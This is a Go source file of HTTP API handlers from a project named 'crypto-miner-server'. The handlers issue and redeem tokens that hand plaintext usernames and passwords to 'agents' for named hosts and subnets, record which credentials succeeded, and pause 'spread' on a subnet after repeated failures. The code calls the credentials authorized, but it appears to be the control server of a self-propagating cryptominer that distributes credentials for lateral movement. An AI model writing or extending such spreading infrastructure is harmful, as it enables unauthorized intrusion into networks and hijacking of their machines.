package api import ( "encoding/json" "log" "net/http" "strings" "crypto-miner-server/internal/atlas" dbpkg "crypto-miner-server/internal/db" ) // DeploymentCredProfile is the API-facing deployment credential profile (no vault secrets). type DeploymentCredProfile struct { ID string `json:"id"` Label string `json:"label"` Username string `json:"username"` VaultRef string `json:"vault_ref,omitempty"` } // SpreadCredProvider supplies authorized deployment credential profiles and vault secrets. type SpreadCredProvider interface { DeploymentProfiles() []DeploymentCredProfile OrderProfilesForSubnet(subnet string, affinity []dbpkg.CredProfileAffinity) []DeploymentCredProfile LoadProfileSecret(profileID string) (username, password string, err error) } type spreadCredIssueRequest struct { AgentID string `json:"agent_id"` Host string `json:"host"` Subnet string `json:"subnet"` Method string `json:"method"` } type spreadCredRedeemRequest struct { Token string `json:"token"` } type spreadCredReportRequest struct { AgentID string `json:"agent_id"` Host string `json:"host"` Subnet string `json:"subnet"` CredentialProfileID string `json:"credential_profile_id"` Method string `json:"method"` Success bool `json:"success"` } // SpreadCredHandler issues short-lived bootstrap tokens and records cred graph edges. type SpreadCredHandler struct { db *dbpkg.Database provider SpreadCredProvider } func NewSpreadCredHandler(database *dbpkg.Database, provider SpreadCredProvider) *SpreadCredHandler { return &SpreadCredHandler{db: database, provider: provider} } // GET /api/v1/spread/credential-graph (alias: /api/v1/emberwake/cred-graph) func (h *SpreadHandler) GetCredGraph(w http.ResponseWriter, r *http.Request) { rows, err := h.db.ListCredGraphBySubnet() if err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) return } if rows == nil { rows = []dbpkg.CredGraphSubnetRow{} } writeJSON(w, map[string]interface{}{"subnets": rows}) } // GET /api/v1/spread/service-graph?agent_id=&subnet= func (h *SpreadHandler) GetServiceGraph(w http.ResponseWriter, r *http.Request) { agentID := strings.TrimSpace(r.URL.Query().Get("agent_id")) subnet := normalizeSubnetLabel(strings.TrimSpace(r.URL.Query().Get("subnet"))) services := []ServiceGraphEntry{} if h.wsHub != nil { services = h.wsHub.QueryServiceGraph(agentID, subnet) } resp := map[string]interface{}{"services": services} if agentID != "" { resp["agent_id"] = agentID } if subnet != "" { resp["subnet"] = subnet } writeJSON(w, resp) } func normalizeSubnetLabel(subnet string) string { subnet = strings.TrimSpace(subnet) if strings.HasSuffix(subnet, ".x") { return strings.TrimSuffix(subnet, ".x") } return subnet } // POST /api/v1/agent/spread-cred/issue func (h *SpreadCredHandler) IssueToken(w http.ResponseWriter, r *http.Request) { if h.provider == nil { http.Error(w, "deployment credentials not configured", http.StatusNotFound) return } var req spreadCredIssueRequest if err := json.NewDecoder(r.Body).Decode(&req); err != nil { http.Error(w, "invalid JSON", http.StatusBadRequest) return } req.Host = strings.TrimSpace(req.Host) req.Subnet = strings.TrimSpace(req.Subnet) req.Method = strings.TrimSpace(req.Method) req.AgentID = strings.TrimSpace(req.AgentID) if req.Host == "" || req.Subnet == "" || req.Method == "" { http.Error(w, "host, subnet, and method required", http.StatusBadRequest) return } affinity, err := h.db.ListCredProfileAffinity(req.Subnet) if err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) return } ordered := h.provider.OrderProfilesForSubnet(req.Subnet, affinity) if len(ordered) == 0 { http.Error(w, "no deployment credential profiles configured", http.StatusNotFound) return } profile := ordered[0] username, password, err := h.provider.LoadProfileSecret(profile.ID) if err != nil { http.Error(w, "credential vault unavailable", http.StatusServiceUnavailable) return } token := issueSpreadCredToken(spreadCredTokenEntry{ AgentID: req.AgentID, ProfileID: profile.ID, Username: username, Password: password, Host: req.Host, Subnet: req.Subnet, Method: req.Method, }) writeJSON(w, map[string]interface{}{ "token": token, "profile_id": profile.ID, "expires_in": int(spreadCredTokenTTL.Seconds()), }) } // POST /api/v1/agent/spread-cred/redeem func (h *SpreadCredHandler) RedeemToken(w http.ResponseWriter, r *http.Request) { var req spreadCredRedeemRequest if err := json.NewDecoder(r.Body).Decode(&req); err != nil { http.Error(w, "invalid JSON", http.StatusBadRequest) return } req.Token = strings.TrimSpace(req.Token) if req.Token == "" { http.Error(w, "token required", http.StatusBadRequest) return } entry, ok := consumeSpreadCredToken(req.Token) if !ok { http.Error(w, "invalid or expired token", http.StatusUnauthorized) return } writeJSON(w, map[string]interface{}{ "profile_id": entry.ProfileID, "username": entry.Username, "password": entry.Password, "host": entry.Host, "subnet": entry.Subnet, "method": entry.Method, }) } // POST /api/v1/agent/spread-cred/report func (h *SpreadCredHandler) ReportEdge(w http.ResponseWriter, r *http.Request) { var req spreadCredReportRequest if err := json.NewDecoder(r.Body).Decode(&req); err != nil { http.Error(w, "invalid JSON", http.StatusBadRequest) return } req.Host = strings.TrimSpace(req.Host) req.Subnet = strings.TrimSpace(req.Subnet) req.CredentialProfileID = strings.TrimSpace(req.CredentialProfileID) req.Method = strings.TrimSpace(req.Method) req.AgentID = strings.TrimSpace(req.AgentID) if req.Host == "" || req.Subnet == "" || req.CredentialProfileID == "" { http.Error(w, "host, subnet, and credential_profile_id required", http.StatusBadRequest) return } if err := h.db.InsertCredEdge(req.Host, req.Subnet, req.CredentialProfileID, req.Method, req.AgentID, req.Success); err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) return } if !req.Success { target := req.Subnet if target == "" { target = req.Host } if paused, recErr := h.db.RecordSubnetSpreadFailure(target); recErr == nil && paused { log.Printf("[subnet-immune] spread paused for prefix %q after %d failures", atlas.PrefixFromHostOrIP(target), atlas.SubnetSpreadFailureThreshold) } } writeJSON(w, map[string]interface{}{"ok": true}) }